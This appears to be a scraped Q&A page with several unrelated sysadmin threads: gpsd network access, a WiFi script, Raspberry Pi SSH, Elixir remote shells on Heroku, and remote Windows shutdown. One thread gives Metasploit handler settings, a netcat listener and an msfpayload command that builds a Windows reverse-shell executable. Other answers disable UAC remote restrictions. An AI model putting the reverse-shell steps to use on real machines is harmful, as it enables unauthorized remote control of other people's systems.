Closed. This question is not about programming or software development. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 6 months ago.
Improve this question
Have a RPI2 with latest Jessie Lite Raspbian Jan 2017 with Adafruit Ultimate GPS hat and PPS using info from a post at digitalbarbedwire.com. Easy setup and PPS and all gps commands work great locally.
I am trying to get gpsd to accept incoming requests over the network on port 2947 to export position info (OpenCPN). I edited /etc/default/gpsd to add the -G option GPSD_OPTIONS="-n -G" but external requests are not being allowed. If I stop gpsd (sudo service stop gpsd), and invoke gps in the foreground (/usr/sbin/gpsd -N -n -G /dev/ttyAMA0 /dev/pps0, all works fine! So I am guessing there is a permissions problem starting the gpsd as a daemon, but I haven't figured it out yet. Drivings me nuts!
Any suggestions?
Relevant files:
$ cat /lib/systemd/system/gpsd.socket
[Unit]
Description=GPS (Global Positioning System) Daemon Sockets
[Socket]
ListenStream=/var/run/gpsd.sock
ListenStream=[::1]:2947
ListenStream=0.0.0.1:2947
SocketMode=0600
[Install]
WantedBy=socket
$ cat /etc/default/gpsd
# Default settings for the gpsd init script and the hotplug wrapper.
# Start the gpsd daemon automatically at boot time
START_DAEMON="true"
# Use USB hotplugging to add new USB devices automatically to the daemon
USBAUTO="true"
# Devices gpsd should collect to at boot time.
# They need to be read/writeable, either by user gpsd or the group dialout.
DEVICES="/dev/ttyAMA0 /dev/pps0"
# Other options you want to pass to gpsd
GPSD_OPTIONS="-n"
$ cat /lib/systemd/system/gpsd.service
[Unit]
Description=GPS (Global Positioning System) Daemon
Requires=gpsd.socket
# Needed with chrony SOCK refclock
After=chronyd.service
[Service]
EnvironmentFile=-/etc/default/gpsd
ExecStart=/usr/sbin/gpsd -N -G $GPSD_OPTIONS $DEVICES
[Install]
Also=gpsd.socket
Any ideas?
Gpsd is not actually listening on port 2947, systemd is. By default in Debian this is local only. When a request comes in systemd starts gpsd, if necessary, and redirects future requests to the daemon. So giving gpsd the -G parameter will not actually change anything.
You need to add an override for the systemd gpsd.socket unit, and tell it to listen on all addresses:
# /etc/systemd/system/gpsd.socket.d/socket.conf
[Socket]
# First blank ListenStream clears the system defaults
ListenStream=
ListenStream=2947
ListenStream=/var/run/gpsd.sock
Best practice is to put this override file in /etc/systemd/, and not to edit the unit files in /lib/systemd/.
Documentation on the systemd.socket syntax: https://www.freedesktop.org/software/systemd/man/systemd.socket.html
Linux Mint 19, I had to replace 127.0.0.1 with 0.0.0.0, then I could share GPS data on LAN
#/lib/systemd/system/gpsd.socket/gpsd.socket
[Unit]
Description=GPS (Global Positioning System) Daemon Sockets
[Socket]
ListenStream=/var/run/gpsd.sock
ListenStream=[::1]:2947
#ListenStream=127.0.0.1:2947
ListenStream=0.0.0.0:2947
SocketMode=0600
[Install]
WantedBy=sockets.target
Another way to do it is to do a terminal-less SSH session with port forwarding.
For example, let's say you have PC1 running a gpsd service (either via systemd or stand-alone).
From PC2, you can do this:
ssh -N -L 2947:localhost:2947 user#PC1
The -N flag prevents an actual terminal session (no commands executed).
The -L flag means forward port 2947 to localhost 2947.
Now, ssh will not auto-reconnect if for some reason the session is lost or terminated. The work around is to install autossh, available in most linux distro repositories.
You can then use autossh like so:
autossh -N -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -L 2947:localhost:2947 user#PC1
If it works, add -f to let autossh go in background mode.
You can easily run autossh from rc.local or a systemd unit. Doing it this ways means you only have to allow SSH port in (22) and are now passing the gps info via a secure encrypted connection, something that a gpsd socket session alone can't do. Obviously, it helps if you have a key pair setup between PC1 and PC2 as you won't need a password.
You can run on PC2 any of the gpsd tools that come with it as it will appear local to it. API calls from scripts/programs will also work as if port 2947 was actually running gpsd locally.
Look here for more detail on how to use autossh.
After running down all the suggestions including the above, I ended up just following the instructions on the troubleshooting page for gpsd in gitlab, in the last section called "Real World Example". That's the only thing that worked for me.
Install socat
and use this command:
socat TCP4-LISTEN:2948,reuseaddr,fork TCP4:localhost:2947
And use port 2948 over network
You can add this in crontab
Related
I have a script to test and make connection via Wifi. It works pretty fine for WEP and WPA2 AP when launched directly in the terminal.
But when the script is launched via a service I get a "deauthenticating by local choice" almost instantly when connecting to WPA2 AP.
Here is the script :
systemctl stop dnsmasq
systemctl stop hostapd
systemctl disable hostapd
ifdown wlan0
killall wpa-supplicant
ifup --force wlan0=wlan_orange
sleep 30
Thanks in advance for any help.
EDIT
I try to add a "sudo" to my ifup command but he has not shown any results.
EDIT 2
Long term test does not show any problems on WEP connection. I suspect that the problem may come from a network setup but I don't know where to start to look at.
EDIT 3
I found out that the deconnection appears after the end of the sleep. I confirmed it after several tries with different time.
I am not able to SSH to Raspberry Pi 3 from Putty. I can ping the 192.168.137.1 IP address assigned by sharing Internet connection.
The problem I realized that SSH is not enabled by default in Pi3 and saw the posts which suggest to enable SSH by creating 'ssh' file inside /boot folder. I got the SD card which has pre-installed Noobs so when I open SD card it shows only /recovery folder. How to enable SSH in this case ? Please help to resolve it .
Enable SSH like:
documentation
Or start it manually sudo service ssh start - note that manual option will require startup scrip to run at each startup.
Additional settings like port configuration should be done insshd_config. Do it with your favorite editor sudo nano /etc/ssh/sshd_config. Anyway your post should be opened at raspberry forum not at SO...
you can take a look at this thread
How can I get connection with Raspberry without access of its shell?
it mentions about PiBakery which will install rasbian with ssh support. by default ssh is disabled but this might help.
Previous night I was tinkering with Elixir running code on my both machines at home, but when I woke up, I asked myself Can I actually do the same using heroku run command?
I think theoretically it should be entirely possible if setup properly. Obviously heroku run iex --sname name executes and gives me access to shell (without functioning backspace which is irritating) but i haven't accessed my app yet.
Each time I executed the command it gave me different machine. I guess it's how Heroku achieve sandbox. I also was trying to find a way to determine address of my app's machine but haven't got any luck yet.
Can I actually connect with the dyno running the code to evaluate expressions on it like you would do iex -S mix phoenix.server locally ?
Unfortunately it's not possible.
To interconnect Erlang VM nodes you'd need EPMD port (4369) to be open.
Heroku doesn't allow opening custom ports so it's not possible.
In case You'd want to establish a connection between your Phoenix server and Elixir node You'd have to:
Two nodes on the same machine:
Start Phoenix using iex --name phoenix#127.0.0.1 -S mix phoenix.server
Start iex --name other_node#127.0.0.1
Establish a connection using Node.ping from other_node:
iex(other_node#127.0.0.1)1> Node.ping(:'phoenix#127.0.0.1')
(should return :pong not :pang)
Two nodes on different machines
Start Phoenix using some external address
iex --name phoenix#195.20.2.2 --cookie someword -S mix phoenix.server
Start second node
iex --name other_node#195.20.2.10 --cookie someword
Establish a connection using Node.ping from other_node:
iex(other_node#195.20.2.10)1> Node.ping(:'phoenix#195.20.2.2')
(should return :pong not :pang)
Both nodes should contact each other on the addresses they usually see each other on the network. (Full external IP when different networks, 192.168.X.X when in the same local network, 127.0.0.1 when on the same machine)
If they're on different machines they also must have set the same cookie value, because by default it takes automatically generated cookie in your home directory. You can check it out by running:
cat ~/.erlang.cookie
What's last you've got to make sure that your EPMD port 4369 is open, because Erlang VM uses it for internode data exchange.
As a sidenote if you will leave it open make sure to make your cookie as private as possible, because if someone knows it, he can have absolute power over your machine.
When you execute heroku run it will start a new one-off dyno which is a temporary instance that is deprovisioned when you finish the heroku run session. This dyno is not a web dyno and cannot receive inbound HTTP requests through Heroku's routing layer.
From the docs:
One-off dynos can never receive HTTP traffic, since the routers only route traffic to dynos named web.N.
https://devcenter.heroku.com/articles/one-off-dynos#formation-dynos-vs-one-off-dynos
If you want your phoenix application to receive HTTP requests you will have to set it up to run on a web dyno.
It has been a while since you've asked the question, but someone might find this answer valuable, though.
As of 2021 Heroku allows forwarding multiple ports, which allows to remsh into a running ErlangVM node. It depends on how you deploy your application, but in general, you will need to:
Give your node a name and a cookie (i.e. --name "myapp#127.0.0.1" --cookie "secret")
Tell exactly which port a node should bind to, so you know which pot to forward (i.e. --erl "-kernel inet_dist_listen_min 9000 -kernel inet_dist_listen_max 9000")
Forward EPMD and Node ports by running heroku ps:forward 9001:4369,9000
Remsh into your node: ERL_EPMD_PORT=9001 iex --cookie "secret" --name console#127.0.0.1 --remsh "myapp#127.0.0.1"
Eventually you should start your server with something like this (if you are still using Mix tool): MIX_ENV=prod elixir --name "myapp#127.0.0.1" --cookie "secret" --erl "-kernel inet_dist_listen_min 9000 -kernel inet_dist_listen_max 9000" -S mix phx.server --no-halt
If you are using Releases, most of the setup has already been done for you by the Elixir team.
To verify that EPMD port has been forwarded correctly, try running epmd -port 9001 -names. The output should be:
epmd: up and running on port 4369 with data:
name myapp#127.0.0.1 at port 9000
You may follow my notes on how I do it for Dockerized releases (there is a bit more hustle): https://paveltyk.medium.com/elixir-remote-shell-to-a-dockerized-release-on-heroku-cc6b1196c6ad
Sorry for my english.
Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload.
Then I waiting connection using msfconsole:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit
I am successfully connected to command line of windows.
However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit.
I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.
I don't really know what your constraints/restrictions are.
My guess is that, you want to "receive shells" on a computer without metasploit installed on it.If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...
What do you think of this:
listening with netcat on 192.168.1.2# nc -l -p 4444
Using a shell_reverse_tcp instead# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
Execute darkbird.exe on the target
Closed. This question is not about programming or software development. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 2 months ago.
Improve this question
I am running an application on linux machine. By giving the ip address of a windows machine as input, the application must shutdown the windows machine. If the machines run the same OS it is very easy but I'm confused how to do it in cross OS.
There may be more setup to do, especially for Windows Vista, Windows 7 and further windows versions, to allow remote shutdown:
Part A) On the Windows machine:
1) Add a remote shutdown security policy:
run secpol.msc
in the program tree, open Security Settings > Local Policies > User rights Assignment
Find the entry Force shutdown from a remote system
Edit the entry, add the windows user account that will be used for shutdown (ex: nouknouk)
2) Add registry keys to disable UAC remote restrictions:
Run regedit.exe as Administrator
Find HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System
Create a new registry DWORD(32) value named LocalAccountTokenFilterPolicy and then assign it the value 1
3) Start remote registry service:
Open cmd.exeas Administrator
Execute the two following commands:
sc config RemoteRegistry start= auto
sc start RemoteRegistry
Part B) On the Linux machine:
1) install the package samba-common:
It depends on your Linux distribution, but for Debian and derivated (Ubuntu, Linux Mint, ...), the apt-get command can be executed like that:
apt-get install samba-common
2) To actually shutdown your Windows machine from the Linux one, run the following command:
net rpc shutdown -f -t 0 -C 'message' -U userName%password -I xxx.yyy.zzz.ttt
Where:
-f means force shutting down all applications (may be mandatory)
-t 0 is the delay before doing it (0 means 'right now').
-U user%password is the local user and his password on the windows machine (the one that has been allowed to do remote shutdown in part A).
-I is the IP address of the windows machine to shutdown.
Command to shutdown windows system from linux -:
$ net rpc -S <ip address> -U <username>%<password> shutdown -t 1 -f
This command can be issued from bash or even set in cron job to shutdown the computer at a specific time and this command is shipped with many distros by default.
It's important to note that the above solution will not work if the username in question does not have a password set (at least that's how it was in my case).
For windows 10 (and below maybe, did not check) users one must go to the firewall settings and enable "Remote Service Management" for the linux box to be able to connect via rpc.
It depends on your infrastructure -- how you authenticate to the Windows machines, whether you can configure them yourself, etc. If it were me, I'd put Cygwin on the Windows boxes, then ssh to them and run shutdown -h. There are surely other ways to do it, of course.
You need a way to launch a shell on the Windows box so you can run th shutdown command built in to Windows.
You can install Cygwin for this, then install an SSH daemon in Windows. Once that's running, your Linux box can run commands on the Windows box just as if it were another Linux machine.
Here are some instructions for setting up Cygwin's sshd in Windows.
Option 1: Install SSH server on windows. Login to this server from any box and call shutdown command. We use Interix(Microsoft's unix like environment). It comes with a telnet server- allows to invoke windows commands from other machines..
Another option:
If you samba installed on windows it can connect to windows and call windows commands
net rpc SHUTDOWN ...
(from http://www.linuxforums.org/forum/red-hat-fedora-linux/60324-remote-shutdown-windows-linux-box.html#post573872 )
Another option:
try rdesktop to the windows machine with shutdown command ( I use it for running windows batch script which has shutdown in it, not sure if you can directly call shutodwn)
For windows 10, install openssh-server following this.
With permission setting by nouknouk here
It should be work by
ssh username#host 'shutdown /p'
Also don't forget to add an inbound rule for RPC in Windows firewall allowing port 445.
Use telnet command in Linux, make sure telnet is enabled in Windows system